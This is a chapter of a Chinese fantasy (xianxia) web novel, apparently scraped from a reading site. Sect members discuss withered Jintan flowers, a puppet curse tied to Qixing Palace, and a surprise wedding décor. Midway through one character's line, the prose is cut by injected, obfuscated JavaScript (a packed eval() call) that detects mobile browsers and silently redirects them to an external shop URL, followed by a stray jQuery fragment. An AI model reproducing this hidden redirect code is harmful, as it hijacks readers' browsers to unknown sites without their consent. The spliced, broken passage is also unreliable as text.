五绝峰的演练场上,这三日来,所有负责巡视三绝花海的弟子都被紧急召集到了一起,这些弟子们一个个神情紧张,金潭花尽数枯萎,这可是“天塌了”的事情,可他们竟没有一人察觉出曾有何可疑之处,这简直就是——完蛋了!
“你们一个个,好样的,”一个拿着戒尺的人怒气冲冲地出了声。
她身着嫩黄色外衫,颜色如同初春杨柳最初吐出那一抹嫩芽,外衫上是一朵朵绽放的、形态各异的金潭花,头上的发丝被辫成几股发辫,垂在肩膀两侧,而垂在耳上的耳坠,亦是金潭花的模样。
她脸上的神情既气恼又自责,戒尺重重地拍了拍自己的太阳穴,“不是,你们好好想想,果真没有发现任何可疑之处吗?”
弟子们一边低着头,一边用余光你瞥瞥我,我瞥瞥你,没有一个人出声,最后,他们把脑袋垂得更低了。
“你说!”手持戒尺的人走向一个把脑袋最低的弟子。
察觉到霁禾师姐正朝自己走来,他把头低得更狠了,这一刻,他只想找个地缝,好让自己钻进去,躲起来。
霁禾“哎呀”一声,又与另一忍不住偷瞄的弟子,视线略略有了交汇。
“换你说!”霁禾逮到了她,脚尖又转向了她。
“对不起,”弟子的眼神再也不敢抬起来了。
霁禾再次抬起戒尺,往自己脑袋上着重一拍。
“掌门?”
不知道是哪位弟子打出了声音,而听到动静的霁禾匆忙转身,见到袁如一身旁的度春秋,眸中闪过一丝光亮,但也仅仅是一瞬,她的眼神便又重新黯淡了下去,深吸一口气,低着头,走到袁如一跟前,双手捧出戒尺,道:“对不起,大师兄,我没能守好五绝峰,你罚我吧,我该罚。”
“此事,不怪你,”袁如一并没有接过那根被送到他面前的戒尺,道:“去书房详谈吧。”
霁禾沮丧地点点头。
可就在她即将跨出演练场的那一刻,她猛然回头,对着那些弟子,一扬手中戒尺,“你们,绕峰十圈!”
众弟子倒吸一口凉气,一双双眼睛可怜巴巴地看向他们的霁禾师姐。
“还不快去!”不见他们行动,霁禾板着脸,冷声道:“是嫌十圈太少了吗?那就一百圈!”
弟子们知道,霁禾师姐从来不搞虚的,于是乎连连否认,又想想那些可怜的金潭花,他们心里也确实不是滋味,堂堂五绝峰遭此暗算,他们这些当值弟子却无一人察觉,也确实该罚!
想到这里,他们不再有任何的辩解,乖乖认了罚,一个个小跑出演练场。
眼见弟子们都走了,走向袁如一书房方向的霁禾嘴角一下子就瘪了下去,像是一个闯了祸又在硬抗的孩子终于见到了可以为自己撑腰的家里人般,砸砸自己的太阳穴,吸吸鼻子,眼眶顿时红了下来,“大师兄,春秋姐姐,我真是太不中用了,明明都已经接到要仔细留意的传信了,却还是让事情发展成了这样。”
“是我太大意了,”度春秋想起前些天的事情,伸手拦下了霁禾那只敲着自己太阳穴的右手,道:“我早该想到,早该提醒的。”
“你们在山下遇到了什么事?”霁禾吸着鼻子问道。
“是他们该死,”袁如一握握拳头。
“他们是谁?”听了两人的话,霁禾虽然疑惑,但更多的还是气愤。
袁如一的脚步停在了自己书房门口,房门上挂着把铁锁,但并未扣合。
这时,霁禾却像是想到了什么,眼神突然开始飘忽不定起来。
眼看袁如一就要碰到那把锁了。
“等一下!”她最终还是忍不住制止出声了,心虚般咬了下唇角,道:“太久没有人打扫,屋里想必都是灰尘,要不还是去我那里吧。”
在这个时候,霁禾的关注点竟然会落到“灰尘”上面,这一点不对劲,很不对劲。
“春秋姐姐,你大老远过来,也不想见到这么多灰尘吧,”霁禾把攻略重心转移到了度春秋身上。
然不等度春秋回应,袁如一伸手就要打开那把锁。
霁禾说时迟,那时快,瞬间出手,就要阻止。
但却仍被袁如一抢先一步。
霁禾眼看自己拦不住了,索性背过身,大有一副“溜之大吉”的姿态,但很快,她又回过神。
门被推开了,书房里干净整洁,哪里有半点灰尘?
不仅没有灰尘,而且屋内挂满了红绸,贴满了喜字和窗花,入眼皆是喜庆。
霁禾伸手,就要去捂度春秋的眼睛。
然而,这些红色却先她一步,撞入度春秋和袁如一两人的眼底。
袁如一的唇角,不自觉地轻勾了下,扭过头,问向霁禾道:“近来,咱们五绝峰上,有哪对佳人喜结连理了吗?”
霁禾听出了他话语里面的明知故问,拍了下额头,道:“是我没想到,大师兄你这么快就带着春秋姐姐回来了,我本以为,这会成为我送你们的惊喜呢。”
袁如一看向度春秋,眨了下眼,道:“算惊喜吗?”
度春秋尚未出声,霁禾先一步转身,向度春秋露出一个“我懂”的表情,道:“大师兄没用又小气,春秋姐姐英明神武,我永远相信,春秋姐姐做的所有决定都无比正确!我永远无比支持理解春秋姐姐!”
“我没用?!”袁如一唇角一僵,道:“我小气?!”
说着,他一把夺过霁禾手中的戒尺,故作恐吓般“凶神恶煞”道:“承不承认自己在胡言乱语?”
霁禾一瞧见袁如一高高扬起的戒尺,情绪仿佛又被拉回到金潭花之事上,垂眸低头,不再发出任何辩解,好像如果戒尺落到自己身上,那才是应该的。
袁如一的动作一顿。
“先进屋吧,”度春秋抬脚,径直走进房间,看着情绪依旧低落的霁禾,她继续出声道:“此事与七星宫有关,七星宫内,有人习得了盖最当年的傀儡咒,而傀儡咒的解方里,就记载到了金潭花。”
“七星宫?”霁禾皱着眉头,揉搓着手指,“就是春秋姐姐你在三月前毁掉的那个,传闻中由万木春所建的七星宫?”
度春秋点点头,但又摇摇头,“并没有毁掉。”
霁禾仰起头,神色变得认真起来,接着问道:“他们用傀儡咒害了什么人?”
度春秋顿了顿,解释道:“留霞宫的守心、观心、悟心、去心四位长老。”
“比我们五绝峰还惨啊,”霁禾震惊地睁大了双眼,不由得发出一句由衷的感慨,然而,念头一转,又叹气道:“不对,是他们留霞宫拖累了我们五绝峰。”
袁如一轻咳一声。
霁禾立马捂住嘴巴,瞬间意识到自己好像说错了话,肩膀一松,又重重地垂下了脑袋,“不是不是,都怪那个什么七星宫,”想了想,又道:“不过有点好的消息是,我去三绝花海处查看过,虽然金潭花表面上尽数枯萎,但
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582547|203405||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
所幸并不是所有金潭花的根部都已死亡,大部分的根还是活着的,只不过如同伤了元气的人一样,若想让金潭花重新开放,恐怕还要等上个一年半载。”
说着,霁禾无奈地摇摇头。
闻言,度春秋沉默了下,若有所思地蹙蹙眉头。
袁如一用戒尺轻拍自己的左手掌心,轻叹口气,道:“平日里,留霞宫的那四位实在太爱待在他们的遮望眼上了,遮望眼遮望眼,遮了别人的眼,亦遮了自己的眼,看不见看不清看不透,反而很难宁了自己的心神,更容易被人趁虚而入。”
“就是嘛,他们留霞宫的至高心法,就是要求人的内心无偏无向、无波无澜,这哪是人能做到的?”霁禾耸了下肩,想起那四张冷冰冰的冰块脸,不自觉打了个冷战,“无欲无欲,整日挂在嘴边念叨着无欲,岂不是最大的欲,我觉得,他们倒不如大大方方地承认自己的欲,说不定自己的功法还能再进一步。”
度春秋眉头紧锁,仿佛是在思考着应对之法,在失神中,她竟未查出霁禾踱步到了自己身旁。
“春秋姐姐,你觉得我说得怎么样?”霁禾眨眨眼睛,却没能听到度春秋的回答。
她伸出手,在度春秋眼前晃了又晃。
“什么?”度春秋回过神,但不好意思的是,刚刚霁禾和袁如一说了什么,并未落入她的耳朵。
“春秋姐姐,你又在担心他们了吗?”霁禾询问道。
接着,还不等度春秋回答,她便又眨了下眼睛,打了下响指,话锋一转道:“不过,算他们走运,现在我手上,还有一棵独苗!”
“什么?”度春秋略略吃惊于这则消息。
金潭花的生长之所,世人一向认为只有三绝花海一处,毕竟,曾有无数人移栽种植,皆不得其果,甚至同为五绝峰,离开了三绝花海,也从没见过金潭花的身影,移栽金潭花也照样会枯萎。
听了霁禾的话,度春秋心里不自觉泛出一圈涟漪,“什么时候养活的它?”
霁禾略显辛酸地呼了口气,揉揉太阳穴,道:“从小到大,我就一直爱跟它们较劲,养了死,死了养,前前后后数不清有多少回,终于,苍天不负苦心人,近来有一株,根据我多年来总结的经验,外加经过我的悉心照料,可算是挺过了一天又一天,”说着,她掐掐手指,道:“算着算着,都已经活了差不多两个月了。”
话音刚落,霁禾即行动了起来,转身走向屋外,留下一句“我现在就去把它取来”,便“消失”了踪影。
“算那四老运气不错,”袁如一说着,放下手中戒尺,背起只手,好一番欣赏屋内的精心布置。
许久,目光忽然又落在了春秋的身上,脑中浮现出他们第一次见面时,那树落雪的红梅,晃神中,他蓦地出声问道:“什么时候,开始喜欢上‘墨竹白袍’了?”
度春秋闻言,望望自己的衣袖,淡淡地开口道:“一件衣服而已,”
“好好好,”袁如一回过神,笑笑,道:“不过,‘红袍’好看,‘白袍’也好看,春秋大人喜欢的,那就是最好的!”
度春秋没有回答。
袁如一低下头,眸中露出种别样的情绪,张了张唇。
度春秋看到了他的动作,却没有听到他的声音,她不多询问,只是默默地移开了视线。
袁如一喉头滚了好几滚,顿了好久,重重地舒了口气,轻轻一笑,语重心长地道了句,“我们的春秋大人呐!”